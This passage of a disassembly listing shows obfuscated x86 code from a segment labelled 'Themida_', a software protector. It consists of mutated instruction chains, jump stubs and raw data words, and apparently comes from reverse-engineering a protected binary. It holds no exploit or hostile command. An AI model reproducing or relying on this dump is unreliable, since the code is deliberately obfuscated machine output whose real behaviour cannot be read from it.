0FFBF09E9h, 4EB81FFh dd 87000000h, 0E95C241Ch, 0FFFFAD2Fh, 4EC81h, 14890000h dd 287FB624h, 0F0E95AF7h db 0EFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DC13: ; CODE XREF: Themida_:0054AB24j and ebx, 3D801D07h jnz loc_54EFAA xor ebx, 27CD5618h jmp loc_54F3ED ; --------------------------------------------------------------------------- dw 0D601h ; --------------------------------------------------------------------------- loc_54DC2C: ; CODE XREF: Themida_:00553E70j sub bx, ax pop eax add bx, ax add bx, 4F0h push edi mov edi, esp add edi, 4 jmp loc_54B7BF ; --------------------------------------------------------------------------- loc_54DC46: ; CODE XREF: Themida_:0054A803j sub edi, ecx pop ecx add edi, 23D9156Ah jmp loc_550ADD ; --------------------------------------------------------------------------- loc_54DC54: ; CODE XREF: Themida_:0054B636j push ecx mov ecx, 31275738h xor [esp+4], ecx pop ecx pop dword ptr [edi+24h] jmp loc_55297B ; --------------------------------------------------------------------------- db 66h dd 0E9240C8Bh, 0FFFFEBBBh ; --------------------------------------------------------------------------- loc_54DC70: ; CODE XREF: Themida_:0054DAF6j sub ebp, ebx sub ebp, 4BBC2C08h pop ebx and eax, ebp push dword ptr [esp] mov ebp, [esp] add esp, 4 push ebp jmp loc_553737 ; --------------------------------------------------------------------------- loc_54DC8A: ; CODE XREF: Themida_:0054D185j push esi mov esi, 17B960F6h add esi, 0BEFAC8Dh sub ebx, esi pop esi jmp loc_54E84D ; --------------------------------------------------------------------------- loc_54DC9E: ; CODE XREF: Themida_:00552D7Cj pop edi add ebp, 0E371EE9h sub ebp, eax sub ebp, 0E371EE9h mov eax, [esp] add esp, 4 mov eax, ebp pop ebp sub [edi+24h], eax mov eax, [esp] add esp, 4 jmp loc_54D801 ; --------------------------------------------------------------------------- loc_54DCC4: ; CODE XREF: Themida_:00549CB3j pop esp jmp loc_55197E ; --------------------------------------------------------------------------- dw 2E68h dd 89000035h, 44682404h, 89000029h, 4812424h, 424h, 0E647E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DCE6: ; CODE XREF: Themida_:0054CA4Ej mov edi, [esp] add esp, 4 add esi, 4 xchg esi, [esp] pop esp loc_54DCF3: ; CODE XREF: Themida_:0054EFCEj ; Themida_:0054F36Cj push edi mov edi, ebx push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] jmp loc_5499E7 ; --------------------------------------------------------------------------- loc_54DD0A: ; CODE XREF: Themida_:0054BD77j pop edx shr edi, 8 push ecx push esi jmp loc_5558E4 ; --------------------------------------------------------------------------- loc_54DD15: ; CODE XREF: Themida_:0055043Bj sub ebp, 7F8F6FFBh add ecx, ebp pop ebp xchg ecx, [esp] mov esp, [esp] imul cl movzx cx, ah push small 3C46h jmp loc_54DFBC ; --------------------------------------------------------------------------- dd offset dword_545CA4+1C4h align 4 dd 0E9240C89h, 0FFFFE3FCh ; --------------------------------------------------------------------------- loc_54DD40: ; CODE XREF: Themida_:005530CDj push dword ptr [esp] pop eax add esp, 4 push esi jmp loc_5499C7 ; --------------------------------------------------------------------------- loc_54DD4D: ; CODE XREF: Themida_:00552A65j mov ebx, [esp] jmp loc_54E461 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 1E0DE9h, 4C28100h, 81000000h, 4C2h, 6588E900h, 3C8B0000h dd 4C48124h, 83000000h, 48904ECh, 260DB824h, 64E9463Ch db 23h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54DD87: ; CODE XREF: Themida_:0054CD2Ej add edx, 0FCBEF7B2h mov ebx, edx pop edx jmp loc_54A7E5 ; --------------------------------------------------------------------------- loc_54DD95: ; CODE XREF: Themida_:0054B7D7j mov edx, 2 add esi, edx push dword ptr [esp] pop edx add esp, 4 push 5FC5h mov [esp], esi jmp loc_554689 ; --------------------------------------------------------------------------- db 81h dd 279F1EBh, 0D1E38135h, 815DAB3Fh, 0AB1A84F3h, 5BD9895Ch dd 0FFD341E9h, 40C781FFh, 11C6159h, 40EF81EFh, 811C6159h dd 5F17C2C7h, 0B9515D45h, 4D67D26h, 8103E9C1h, 0F2650FF1h dd 0ECC18124h, 8137B726h, 0CA1F6FC9h, 81D1F731h, 0DFE004C1h dd 0FA5FE97Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DE0A: ; CODE XREF: Themida_:0054EF8Dj mov ebx, 4 sub eax, ebx pop ebx jmp loc_555FA4 ; --------------------------------------------------------------------------- db 0BEh dd 7C8B7369h, 0F75EF129h, 0C18141D9h, 0D204BC4Ch, 0C8BCB01h dd 4C48124h, 55000000h, 9D1383BDh, 0BFC7E974h, 8B66FFFFh dd 68512404h, 63C4h, 4767E9h, 0DABF5700h, 31259663h, 81415FF9h dd 2028ADC1h, 5E1C17Bh, 3C3FE9h, 2EDC000h, 1A55E9h db 0 ; --------------------------------------------------------------------------- loc_54DE6D: ; CODE XREF: Themida_:00551274j inc edx jz loc_55061F jmp loc_54CA21 ; --------------------------------------------------------------------------- loc_54DE79: ; CODE XREF: Themida_:0054F3DEj inc ebp jmp loc_551F2E ; --------------------------------------------------------------------------- loc_54DE7F: ; CODE XREF: Themida_:0054E42Ej ; Themida_:00554373j sub ebx, edi pop edi sub ebx, 0DDFA00B6h jmp loc_552007 ; --------------------------------------------------------------------------- loc_54DE8D: ; CODE XREF: Themida_:00554BDAj push 3BB9h mov [esp], edx mov edx, 11A60BC5h shl edx, 6 jmp loc_548A87 ; --------------------------------------------------------------------------- dw 34FFh dd 0C4815A24h, 4, 12C6E952h, 0E9510000h, 4D5Fh ; --------------------------------------------------------------------------- loc_54DEB8: ; CODE XREF: Themida_:0054ACC3j add esp, 4 push eax push ecx jmp loc_54D37E ; --------------------------------------------------------------------------- loc_54DEC5: ; CODE XREF: Themida_:00550288j push ebx mov bh, 22h jmp loc_553507 ; --------------------------------------------------------------------------- db 81h, 0EAh, 0BCh dd 1AA9D76h, 0DCC3E9D3h, 34FFFFFFh, 0EC815824h, 4, 793E9h db 0 ; --------------------------------------------------------------------------- loc_54DEE9: ; CODE XREF: Themida_:00554138j pop esi jmp loc_5524A6 ; --------------------------------------------------------------------------- loc_54DEEF: ; CODE XREF: Themida_:0054B73Cj sub esp, 4 mov [esp], edi mov edi, esp add edi, 4 sub esp, 4 mov [esp], ebp mov ebp, 2 add edi, 574D70EAh sub edi, ebp jmp loc_54B605 ; --------------------------------------------------------------------------- dd 4C1815Ah, 33000000h, 0C31240Ch, 240C3324h, 6824248Bh dd 5C73h, 68240489h, 43D0h, 0E9241C89h, 0FFFFF438h, 5C243487h dd 24BEE956h, 0C8010000h, 5CD3E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54DF52: ; CODE XREF: Themida_:00548D6Aj add esp, 4 sub ebx, 6848157Ah add ebx, eax push ecx mov ecx, 6848157Ah add ebx, ecx pop ecx add ebx, 7485044Fh jmp loc_54B0F6 ; --------------------------------------------------------------------------- loc_54DF71: ; CODE XREF: Themida_:005557F8j xchg esi, [esp] pop esp sub bx, 1053h movzx eax, ax sub esp, 4 mov [esp], edi push 7DBDh mov [esp], esp jmp loc_550850 ; --------------------------------------------------------------------------- dd 4E7FE281h, 0D2E920E0h db 44h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54DF9B: ; CODE XREF: Themida_:0054AEC4j xor al, bh jmp loc_553CA5 ; --------------------------------------------------------------------------- dw 0E959h dd 0FFFFAFC9h, 8B2434FFh db 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax mov eax, 4 jmp loc_54926A ; --------------------------------------------------------------------------- loc_54DFBC: ; CODE XREF: Themida_:0054DD2Ej mov [esp], cx movzx cx, al push cx pushf jmp loc_548929 ; --------------------------------------------------------------------------- dd 81242489h, 42404h, 535D0000h, 2B5FBCBBh, 92E94B2Fh db 3Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_54DFE3: ; CODE XREF: Themida_:loc_552E34j mov esi, esp jmp loc_555527 ; --------------------------------------------------------------------------- loc_54DFEA: ; CODE XREF: Themida_:0054C786j mov edi, [esp] add esp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_553E0F ; --------------------------------------------------------------------------- aMhz1 db '╛hZ1',0 align 4 dd 51241C89h, 55F4E9h db 0 ; --------------------------------------------------------------------------- loc_54E00D: ; CODE XREF: Themida_:005511BBj sub esp, 4 mov [esp], esi jmp loc_5545CC ; --------------------------------------------------------------------------- loc_54E018: ; CODE XREF: Themida_:00552485j pop ecx and eax, esi pop esi or eax, eax jz loc_55420D push dword ptr [edi+1Ch] mov ecx, [esp] push 18C8h mov [esp], edx mov edx, esp jmp loc_551A5A ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 4C481h, 0DCE90000h, 66000009h, 2404BB0Fh, 0A8D7E99Ch dd 0ED81FFFFh, 6C697FFFh, 0B951C501h, 6C697FFFh, 8B59CD01h dd 0C4812404h, 4, 0FFE67DE9h db 0FFh ; --------------------------------------------------------------------------- loc_54E071: ; CODE XREF: Themida_:0054EE05j pop esi shl esi, 1 jp loc_553C2D neg esi jno loc_5521F1 add esi, 0F4CE234Ah mov edx, esi jmp loc_554BED ; --------------------------------------------------------------------------- db 54h dd 83243C8Bh, 0EC8104C4h, 4, 68242C89h, 116F2F20h, 14F7555Dh dd 0E5D15D24h, 0D7888A0Fh, 0C581FFFFh, 22DE5E42h, 34FFEB89h db 24h, 52h ; --------------------------------------------------------------------------- loc_54E0BE: ; CODE XREF: Themida_:00553CA7j sub esp, 4 mov [esp], ebx jmp loc_550EDE ; --------------------------------------------------------------------------- dd 3AE2E281h, 0F2814C30h, 52882E66h, 148BD521h, 4C48124h dd 51000000h, 4E25E9h, 0C8B6600h, 5F51E924h, 0EC830000h dd 24048904h, 4B8h, 58C20100h, 4EA81h, 0DDE90000h, 1FFFFABh dd 0D0EB81EBh, 0FF696564h, 835D2434h, 0C32904C4h, 7E91EB81h dd 72E90B8Ah db 0F2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E127: ; CODE XREF: Themida_:005540C8j add ebx, ecx jmp loc_55329B ; --------------------------------------------------------------------------- dw 1C33h dd 0FC1FE924h, 34FFFFFFh, 5728E924h, 0C7810000h, 0F314C42Fh dd 0E58DE956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E14A: ; CODE XREF: Themida_:00551C9Cj pop ebx add eax, edx pop edx shr eax, 2 sub eax, 1D9ADECFh add edi, eax pop eax xor edi, [esp] jmp loc_554C38 ; --------------------------------------------------------------------------- db 5, 0A9h, 5Dh dd 0E95F5B03h, 2B18h, 9D1C77FFh, 14D25966h, 56E99C24h dd 48000043h, 0F6DB8F0Fh, 5A35FFFFh, 89108AFAh, 5ED88AC6h dd 26E9E901h, 0B7000031h, 0E9DFF6FEh, 5DF0h ; --------------------------------------------------------------------------- loc_54E19C: ; CODE XREF: Themida_:0054930Ej add ecx, 4 jmp loc_5555D9 ; --------------------------------------------------------------------------- loc_54E1A7: ; CODE XREF: Themida_:00549CD2j sub bl, 6Bh push ecx mov ch, bl mov dl, ch mov ecx, [esp] add esp, 4 jmp loc_554854 ; --------------------------------------------------------------------------- loc_54E1BD: ; CODE XREF: Themida_:0054B26Cj pop ebx pop eax xor dh, ch pop ecx sub al, dh pop edx sub bl, 0DBh push ecx mov ch, 14h sub bl, ch pop ecx push ax mov al, 0FAh add bl, al pop ax sub bl, al jmp loc_5517D5 ; --------------------------------------------------------------------------- loc_54E1DD: ; CODE XREF: Themida_:0054A75Ej push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp add edx, eax sub edx, 527759FCh jmp loc_548929 ; --------------------------------------------------------------------------- loc_54E1FD: ; CODE XREF: Themida_:005507A1j pop esp mov [esp], ecx mov ecx, 0 add ecx, 39FF4D30h add ecx, 5D9F4615h add ecx, edx push edi jmp loc_54E61A ; --------------------------------------------------------------------------- loc_54E21A: ; CODE XREF: Themida_:00549814j xor ebx, 68305830h jbe loc_5557D5 shr ebx, 5 js loc_54EE6C jmp loc_550C31 ; --------------------------------------------------------------------------- dd 240C8B66h, 6DB36852h, 24890000h, 24048124h, 4, 0E924148Bh dd 3DF0h ; --------------------------------------------------------------------------- loc_54E250: ; CODE XREF: Themida_:00555F1Bj sub edi, 4C253B44h add edi, 72123FA0h jmp loc_553009 ; --------------------------------------------------------------------------- loc_54E261: ; CODE XREF: Themida_:00551E39j sub ebp, ebx sub ebp, 6CF24081h pop ebx push ebp pop ecx push dword ptr [esp] pop ebp add esp, 4 add edi, ecx mov ecx, [esp] push ecx push esp pop ecx jmp loc_555EAA ; --------------------------------------------------------------------------- db 68h dd 27541BC7h, 0FFB9A9E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E28D: ; CODE XREF: Themida_:loc_553D3Ej add ch, 59h add dl, ch pop ecx push ecx mov ch, 8 xor ch, 12h shl ch, 6 dec ch xor ch, 93h push 7B4Eh mov [esp], eax mov al, 0D6h not al xor al, 73h add ch, al pop eax jmp loc_54D77F ; --------------------------------------------------------------------------- db 0ADh dd 8904EC83h, 68512404h, 494C0C0Bh, 0E858E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E2CA: ; CODE XREF: Themida_:00552CCAj sub esi, 4 push esi push dword ptr [esp+4] jmp loc_54B5AE ; --------------------------------------------------------------------------- db 59h dd 1CFCC181h, 0D10177CAh, 1CFCE981h, 0C15A77CAh, 0D1F703E1h dd 2FC2E181h, 0E98160D6h, 5300B12h, 8101C183h, 2707BCF1h dd 59CA011Eh, 2F62F281h, 0EA816752h, 3C232815h, 148BD501h dd 4C48324h, 5C242C87h, 2896664h, 48EDE9h db 0 ; --------------------------------------------------------------------------- loc_54E325: ; CODE XREF: Themida_:00551BD4j pop esp push 4760h jmp loc_551AC5 ; --------------------------------------------------------------------------- loc_54E330: ; CODE XREF: Themida_:005489B2j sub edi, ecx sub edi, 4354084Eh add edi, 4503AE3h mov ecx, [esp] push esi mov esi, esp push ebx push edx push 662F6111h mov edx, [esp] add esp, 4 push ebp mov ebp, 4E856A8Fh sub edx, ebp pop ebp push ebp mov ebp, 0D1B7AA4Ch sub edx, ebp pop ebp mov ebx, edx pop edx jmp loc_54CA0C ; --------------------------------------------------------------------------- loc_54E36E: ; CODE XREF: Themida_:00551430j mov ebx, esp jmp loc_5513E7 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 5D2EE9h db 0 ; --------------------------------------------------------------------------- loc_54E37D: ; CODE XREF: Themida_:00554F07j inc ebx push eax mov eax, 42736783h add ebx, eax pop eax add esi, ebx jmp loc_54FA44 ; --------------------------------------------------------------------------- dw 0B951h dd 54073390h, 38F3E9h db 0 ; --------------------------------------------------------------------------- loc_54E399: ; CODE XREF: Themida_:0054997Bj jmp loc_548929 ; --------------------------------------------------------------------------- dw 1C8Bh dd 4C48124h, 83000000h, 0C8904ECh, 560D6824h, 14890000h dd 5FC4BA24h, 4FB94CF0h, 810D81ADh, 1C02B8E9h, 55D1010Eh dd 1C02B8BDh, 5DE9010Eh, 8124148Bh, 4C4h, 0D2EFE900h, 8B66FFFFh dd 0DE92404h, 66FFFFCCh, 9C240CD3h, 0FFA538E9h, 4C281FFh dd 53000000h, 7252BF57h, 0DFF74355h, 0FFE89BE9h db 0FFh ; --------------------------------------------------------------------------- loc_54E405: ; CODE XREF: Themida_:00552562j mov eax, edi pop edi or eax, 52E35202h or eax, 1F733CF5h and eax, 1AC121B8h push ebx mov ebx, 130B14F4h xor eax, ebx pop ebx jmp loc_551B46 ; --------------------------------------------------------------------------- loc_54E425: ; CODE XREF: Themida_:0054AB7Dj sub ebx, ecx pop ecx push edi mov edi, 695339D4h jmp loc_54DE7F ; --------------------------------------------------------------------------- db 5Bh dd 81E38953h, 4C3h, 4C38100h, 87000000h, 665C241Ch, 0E94CB151h dd 0EBh, 8904EC83h, 92E9241Ch db 0E6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E45B: ; CODE XREF: Themida_:0054AAB6j ; Themida_:00553940j pop ecx jmp loc_548E2F ; --------------------------------------------------------------------------- loc_54E461: ; CODE XREF: Themida_:0054DD50j add esp, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp shr eax, 8 jmp loc_554341 ; --------------------------------------------------------------------------- loc_54E476: ; CODE XREF: Themida_:0055411Aj add edx, edi pop edi xchg edx, [esp] mov esp, [esp] bswap eax push 44DEh mov [esp], eax jmp loc_548929 ; --------------------------------------------------------------------------- loc_54E48E: ; CODE XREF: Themida_:00553496j mov edx, [esp] push ebp mov ebp, esp add ebp, 4 push esi mov esi, 4 sub ebp, esi jmp loc_54D418 ; --------------------------------------------------------------------------- loc_54E4A7: ; CODE XREF: Themida_:00549710j sub edx, esi mov esi, [esp] jmp loc_55126B ; --------------------------------------------------------------------------- db 83h, 0C7h, 4 aZHu8 db '┤<$\hН8',0 dd 24148900h, 0C281E289h, 4, 425FE9h, 24048100h, 4, 81240C8Bh dd 4C4h, 4BB5300h, 0E9000000h, 2Fh ; --------------------------------------------------------------------------- loc_54E4E8: ; CODE XREF: Themida_:00552ED2j push ecx push small 4681h jmp loc_550955 ; --------------------------------------------------------------------------- loc_54E4F2: ; CODE XREF: Themida_:0054CFD7j add bl, 6Fh add bl, al sub bl, 6Fh push ecx mov cl, 0BFh jmp loc_54D4EA ; --------------------------------------------------------------------------- loc_54E502: ; CODE XREF: Themida_:0054D731j ; Themida_:005508E3j add esp, 4 add ebp, edi pop edi xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp jmp loc_5500F6 ; --------------------------------------------------------------------------- db 81h dd 0DD75CAC1h, 81D90164h, 0DD75CAE9h, 0E9565B64h, 0FFFFEDF6h ; --------------------------------------------------------------------------- loc_54E52C: ; CODE XREF: Themida_:0054B43Ej inc ch xchg al, ch dec al xchg al, ch not ch jmp loc_54B1A2 ; --------------------------------------------------------------------------- align 4 dd 0C8B66CBh, 2C48324h, 1F68C300h, 8900003Bh, 0B5512404h dd 0F3ED8079h, 0FFBA7CE9h, 4077FFFFh, 0FFA3C8E9h, 186856FFh dd 54000006h, 8124048Fh, 42404h, 0E95E0000h, 542Dh, 0EC81E189h dd 4, 56241489h, 0AF2DE6BEh, 2DEABA03h, 0EA8103AFh, 1B8E5C9Bh dd 0F7E9F229h db 77h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54E59B: ; CODE XREF: Themida_:00550FAFj add esp, 4 mov ebp, [esp] add esp, 4 push esi mov esi, 0E1273F6h not esi add esi, 1C3C570Ah jmp loc_555ADE ; --------------------------------------------------------------------------- db 42h dd 1185BD55h, 77E9303Dh, 0F7FFFFE7h, 44A0E9DEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54E5CA: ; CODE XREF: Themida_:00550E4Ej sub esp, 4 jmp loc_54D6C6 ; --------------------------------------------------------------------------- loc_54E5D2: ; CODE XREF: Themida_:0054EB16j sub esi, 4 xchg esi, [esp] pop esp mov [esp], esi jmp loc_54D02C ; --------------------------------------------------------------------------- db 53h, 50h, 54h dd 4BD5558h, 1000000h, 42D5DE8h, 33000000h, 4312404h, 0CA29E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E5FE: ; CODE XREF: Themida_:0054FF80j pop edi jmp loc_54A592 ; --------------------------------------------------------------------------- loc_54E604: ; CODE XREF: Themida_:0055258Dj add [esp], eax pushf jmp loc_551E67 ; --------------------------------------------------------------------------- loc_54E60D: ; CODE XREF: Themida_:00549B83j sub esi, 1542Eh sub ebx, esi jmp loc_54B13D ; --------------------------------------------------------------------------- loc_54E61A: ; CODE XREF: Themida_:0054E215j mov edi, 5D9F4615h jmp loc_555B29 ; --------------------------------------------------------------------------- loc_54E624: ; CODE XREF: Themida_:0054A332j jmp loc_548929 ; --------------------------------------------------------------------------- db 55h, 53h, 0BBh dd 5E8A1112h, 0C381E3D1h, 7258479Bh, 0BF1E9h db 0 ; --------------------------------------------------------------------------- loc_54E63D: ; CODE XREF: Themida_:0054CBD3j push eax mov eax, esp add eax, 4 push esi push esp pop esi jmp loc_54B934 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 aPhZ db 'PhяZ',0 align 2 dw 8F54h dd 4832404h, 48B0424h, 4C48324h, 405h, 6FBB5300h, 8118A416h dd 0A4166BEBh, 0E9D80118h, 0F60h ; --------------------------------------------------------------------------- loc_54E67C: ; CODE XREF: Themida_:0054C339j mov [esp], edx push 3280h mov [esp], esp jmp loc_55155F ; --------------------------------------------------------------------------- dd 0E904C483h, 2696h, 5E2434FFh, 0FFA51FE9h db 0FFh ; --------------------------------------------------------------------------- loc_54E69D: ; CODE XREF: Themida_:005553B7j add dl, ch pop cx mov bh, dl mov edx, [esp] add esp, 4 jmp loc_54F585 ; --------------------------------------------------------------------------- db 66h, 81h, 6Ch dd 8740224h, 242C8B66h, 0C06E951h, 0C4830000h, 51C32904h dd 0C60BA52h, 0BE563332h, 285C5D3Eh, 46A8E9h, 0E9526600h dd 0E0h ; --------------------------------------------------------------------------- loc_54E6E0: ; CODE XREF: Themida_:0054F834j sub ecx, esi pop esi xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp mov [esp], ecx sub esp, 4 mov [esp], esi push 2A44359Bh pop esi xor esi, 3E012D6Ah or esi, 76D3458Eh ja loc_54A42D jmp loc_549A43 ; --------------------------------------------------------------------------- db 81h dd 9628D5F3h, 0ED815D83h, 1, 2414F755h, 0B9ACE95Dh, 8951FFFFh dd 4C181E1h, 81000000h, 4E9h, 240C8700h, 3A8BE95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_54E742: ; CODE XREF: Themida_:0054BD66j add esi, 0CC5DE7CEh mov edx, esi pop esi and edi, edx jmp loc_55573A ; --------------------------------------------------------------------------- dw 77FFh dd 19589D1Ch, 0E99C2404h, 0FFFFA1C9h ; --------------------------------------------------------------------------- loc_54E760: ; CODE XREF: Themida_:0054BE4Aj push esi jmp loc_549C80 ; --------------------------------------------------------------------------- dw 8B66h dd 49E9240Ch db 0C8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E76F: ; CODE XREF: Themida_:005524A1j push eax mov eax, esp jmp loc_54F78F ; --------------------------------------------------------------------------- loc_54E777: ; CODE XREF: Themida_:0054FE7Dj pop esi push ebp mov ebp, 4 add esi, ebp pop ebp jmp loc_551E4C ; --------------------------------------------------------------------------- dw 8B66h dd 0DE9240Ch db 3Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54E78F: ; CODE XREF: Themida_:0054F276j sub edi, 4 xchg edi, [esp] pop esp mov [esp], esi mov esi, 7C68605Dh jmp loc_551488 ; --------------------------------------------------------------------------- loc_54E7A3: ; CODE XREF: Themida_:00555765j mov eax, [esp] add esp, 4 add esp, 4 jmp loc_553425 ; --------------------------------------------------------------------------- loc_54E7B7: ; CODE XREF: Themida_:0055146Dj ; Themida_:00555228j add bl, 4Bh push edx jmp loc_54D750 ; --------------------------------------------------------------------------- dd 0D028C2B2h, 0B8E95A66h db 0B8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E7CB: ; CODE XREF: Themida_:0054EAD5j ; Themida_:005530A2j pop esi add ebp, 412B05F8h add ebp, 2CA2DA63h add edi, ebp pop ebp xchg edi, [esp] pop esp push 0FBEh mov [esp], ecx push 3849h mov [esp], ebx sub esp, 4 jmp loc_5493D5 ; --------------------------------------------------------------------------- db 81h dd 0C376CFC6h, 0AEEE8129h, 581C3634h, 525EF201h, 0FFE6B7E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E80D: ; CODE XREF: Themida_:0054AB42j xchg ebp, [esp] jmp loc_549999 ; --------------------------------------------------------------------------- db 53h, 0E9h, 0BDh db 3 dup(0) ; --------------------------------------------------------------------------- loc_54E81B: ; CODE XREF: Themida_:005536FAj mov [esp], ebx push dword ptr [esp] mov eax, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_54CBD2 ; --------------------------------------------------------------------------- loc_54E83B: ; CODE XREF: Themida_:0054D4FFj sub bl, dh pop edx sub bl, 73h movzx eax, al pop small word ptr [edi+eax*4] jmp loc_548929 ; --------------------------------------------------------------------------- loc_54E84D: ; CODE XREF: Themida_:0054DC99j sub ebx, 73414092h sub ebx, 10BC23ADh jmp loc_55096E ; --------------------------------------------------------------------------- loc_54E85E: ; CODE XREF: Themida_:0054ED12j pop ecx push edx jmp loc_54F751 ; --------------------------------------------------------------------------- loc_54E865: ; CODE XREF: Themida_:0054C328j xor ebp, 0CA7EDEB0h mov ebx, ebp pop ebp sub esi, ebx pop ebx xor eax, esi mov esi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_54F80F ; --------------------------------------------------------------------------- loc_54E88F: ; CODE XREF: Themida_:0054D2AAj add dword ptr [esp+4], 60EA4E6Ch add [esp+4], eax sub dword ptr [esp+4], 60EA4E6Ch mov eax, [esp] add esp, 4 mov esi, [esp] push eax jmp loc_553FDE ; --------------------------------------------------------------------------- loc_54E8B5: ; CODE XREF: Themida_:00552AEBj push ecx mov ecx, esp push edx mov edx, 31483776h sub edx, 53154BBCh jmp loc_555BF7 ; --------------------------------------------------------------------------- aSd1 db ')яИ└1',0 align 10h loc_54E8D0: ; CODE XREF: Themida_:00550F07j add cl, ah pop eax jmp loc_54BD7C ; --------------------------------------------------------------------------- dd 0AE5EFFBBh, 81DBF717h, 0AF1BF7EBh, 4EBC124h, 36A5F381h dd 0D829300Bh, 2C1AE9h db 0 ; --------------------------------------------------------------------------- loc_54E8F5: ; CODE XREF: Themida_:00552A9Cj mov [esp], edx push ebp jmp loc_54B0C3 ; --------------------------------------------------------------------------- loc_54E8FE: ; CODE XREF: Themida_:0055507Cj mov dh, 0C4h jmp loc_54FA30 ; --------------------------------------------------------------------------- db 0E9h, 22h, 20h dd 0C1010000h db 8Bh, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5493C4 ; --------------------------------------------------------------------------- dd 3AE7CB81h, 0D3F7761Fh, 0EDC3814Bh, 17E9F3Ah, 0C8C6E9DFh dd 8166FFFFh, 74022444h, 6C816608h, 0FDA0224h, 21C3E9h dd 5DF18100h, 89BA114Ch, 240C8BCAh, 4C481h, 0F6E90000h dd 89FFFFFBh, 0EDBE2434h, 576C4B35h, 62C6BB53h, 0DF8948BDh dd 5FFE215Bh, 32C3EE81h, 0EE812F07h, 1901EDFDh, 39E8C381h dd 0F3012903h, 39E8BE56h, 15E92903h db 0Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54E997: ; CODE XREF: Themida_:005548C5j or ecx, 399F30CBh jz loc_54C23F not ecx inc ecx push edx jmp loc_548C1C ; --------------------------------------------------------------------------- loc_54E9AC: ; CODE XREF: Themida_:00553C46j mov edx, 0F32602A4h sub ebp, edx pop edx sub [esp+4], ebp pop ebp pop ecx push ebx jmp loc_54F105 ; --------------------------------------------------------------------------- dd 8124348Bh, 4C4h, 240C8700h, 22E1E9h db 0 ; --------------------------------------------------------------------------- loc_54E9D1: ; CODE XREF: Themida_:00550DDAj push 7110h mov [esp], esp jmp loc_54C233 ; --------------------------------------------------------------------------- loc_54E9DE: ; CODE XREF: Themida_:00549B2Cj add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] or edi, 50DB5F62h shr edi, 5 not edi push eax mov eax, 70E209D9h shl eax, 1 or eax, 419B676Ch jmp loc_553714 ; --------------------------------------------------------------------------- db 80h, 0E9h, 0Fh dd 0C8BCA88h, 38AEE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54EA1A: ; CODE XREF: Themida_:0054B022j mov [esp], eax push edx jmp loc_54B0B4 ; --------------------------------------------------------------------------- db 52h dd 0FFB15FE9h db 0FFh ; --------------------------------------------------------------------------- loc_54EA29: ; CODE XREF: Themida_:0054CEEBj mov ecx, 0 jmp loc_54F7DA ; --------------------------------------------------------------------------- db 81h dd 820C4DEAh, 0E0810F57h, 56FFFFE1h, 6754F3BEh, 37C9E928h dd 32B40000h, 0D806E958h, 0C580FFFFh, 7E5C08Bh, 0FFEF65E9h db 0FFh ; --------------------------------------------------------------------------- loc_54EA5D: ; CODE XREF: Themida_:005512CAj add ebp, 4 xchg ebp, [esp] mov esp, [esp] jmp loc_54FE73 ; --------------------------------------------------------------------------- dd offset dword_57FF68 dw 8900h dd 9FE9240Ch db 22h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54EA7B: ; CODE XREF: Themida_:00554DB3j sub esp, 4 mov [esp], ebx mov ebx, 5B103149h or esi, ebx pop ebx push ebx mov ebx, 86E448B7h add esi, 50D68FDh add esi, ebx sub esi, 50D68FDh pop ebx and eax, esi pop esi or eax, eax jz loc_550FBC push dword ptr [edi+1Ch] push ecx mov ecx, esp add ecx, 4 push esi mov esi, 67B482Bh dec esi or esi, 2CDD4FF3h jmp loc_5498F8 ; --------------------------------------------------------------------------- loc_54EAC7: ; CODE XREF: Themida_:005546BCj sub ebx, 43EB6CA2h push ebx sub dword ptr [esp], 209B66BCh jmp loc_54E7CB ; --------------------------------------------------------------------------- loc_54EADA: ; CODE XREF: Themida_:0054C6D2j pop bx jmp loc_552862 ; --------------------------------------------------------------------------- loc_54EAE1: ; CODE XREF: Themida_:00554357j push 35DDh mov [esp], edx mov edx, 57194523h neg edx jmp loc_54F8E1 ; --------------------------------------------------------------------------- loc_54EAF5: ; CODE XREF: Themida_:00554446j dec eax sub eax, 1E238D7Dh or esi, eax jmp loc_551291 ; --------------------------------------------------------------------------- loc_54EB02: ; CODE XREF: Themida_:00550195j pop ebx push ebx sub esp, 4 push esp jmp loc_551A1C 